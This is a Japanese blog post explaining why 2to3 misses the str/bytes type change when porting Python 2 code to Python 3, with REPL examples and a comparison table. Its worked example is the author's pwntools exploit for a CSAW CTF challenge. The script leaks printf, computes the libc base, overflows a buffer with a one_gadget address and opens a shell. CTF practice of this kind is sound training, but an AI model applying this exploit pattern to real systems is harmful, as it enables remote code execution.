python2系から3系への移行で困ったstrの話
この記事は、品川 Advent Calender 2019の記事です。
2系で動くものはまだまだ多いですがpython2系のサポートが2020/1/1までと、終了まであと1週間を切ってます。
結局2019/4/1まで延びるらしいですね。参考ページ
とはいえ、残りが3か月程度ということもあり、最近結構な頻度でpython3への変換をやったりすることがあるのですが、オブジェクトの扱いを変化をあまり理解しておらず、
変換した後に想定通りの動作をせずハマってしまったことが何度かあったため初心者向けの話には近いところですが、記事を書いてみることにしました。
個人的に言いたいこと
- 2to3で変換した後は実際のソースコードをちゃんと見よう
やったこと
自宅のCTF用に使用しているVM環境とソースコード類を2to3を使って変換していこうと思っていた。
試しに以前CSAW CTF予選に出場した際に書いた以下のソースに適用した。
baby_boy.py
from pwn import * import time HOST = "pwn.chal.csaw.io" PORT = xxx # dummy conn = remote(HOST, PORT) conn.recvuntil('Hello!\n') recieve_address = conn.recvline().strip().split() # recieve binary printf_address = int(recieve_address[3],16) printf_offset = 0x64e80 libc_base = printf_address - printf_offset one_gadget = 0x4f322 payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes conn.sendline(payload) # send_binary conn.interactive()
変換した実行ログは以下のようになる。
$ 2to3 baby_boi.py RefactoringTool: Skipping optional fixer: buffer RefactoringTool: Skipping optional fixer: idioms RefactoringTool: Skipping optional fixer: set_literal RefactoringTool: Skipping optional fixer: ws_comma RefactoringTool: No changes to baby_boi.py RefactoringTool: Files that need to be modified: RefactoringTool: baby_boi.py
要するに修正する箇所は無いらしい。
ただし、これをpython3で動かすと以下の通りにエラーが出て実行できない。※1
Traceback (most recent call last): File "baby.py", line 16, in <module> payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes TypeError: must be str, not bytes
何が起こっているか
エラーログを見ての通り、 strとbytesで型が違うと怒られている。この変化は以下のような違いが関連している。
python2
python2では文字列を扱うにあたりstrとunicodeの2つのタイプがある。
- python2のstrではバイト列であり文字コードに関する情報を持っていない。
- unicodeとして扱うためにはunicode型(
u'...'
)を使用して明示的に指定する必要がある。
unicodeとstrの行き来をする際にはdecode,encodeメソッドが必須。
実行例
>>> type(u'abc') <type 'unicode'> >>> type('abc') <type 'str'> >>> type(b'abc') <type 'str'>
python3
一方で、python3の場合は以下のような特徴を持つ
- strはデフォルトでunicode文字列として扱う
- バイナリデータを扱うためにはbytes型(
b'...'
)を使用して明示的に指定する必要がある。 strとbytesの行き来をする際にはdecode,encodeメソッドが必須。
実行例
>>> type(b'abc') <class 'bytes'> >>> type('abc') <class 'str'> >>> type(u'abc') <class 'str'>
そのため、python2系ではbytes同士の以下のような比較が成立してしまう。
>>> b'abc' == 'abc' True
一方で、python3の場合はbytesとstrで型が異なるため以下のようになる。
>>> b'abc' == 'abc' False
ざっくりまとめると以下のように扱うとよい
扱う文字列 | python2 | python3 |
---|---|---|
byte | str | bytes |
str(unicode以外) | str | str |
str(unicode) | unicode | str |
2系から3系への移行時に注意すべきこと
この扱いの変化は非常に厄介(個人的に2系から3系への変換で一番面倒だと思っている)と考えるのは、以下のような特徴があるからです。
- コードの静的チェックや2to3等の変換ツールでの発見が基本的には不可能
- 比較に至ってはTrue/Falseが変化するだけで処理によってはエラーすら出力されないこともあるため、別のところでバグが起きて気づくケースがほとんどである
結局文字コードの扱いについては機械が見て判断できるものではないからツールで変換することは難しく、 最終的には人の目で見て解決するしかないのでしょうね。
余談
- 1週間後に別の環境で2to3を使って移植した時にはpytestが想定通りに通らず、これが原因だということに気づくまで半日くらい頭を抱えていた。
- 自分の持っているpython2コードは結局ほとんどやらなかった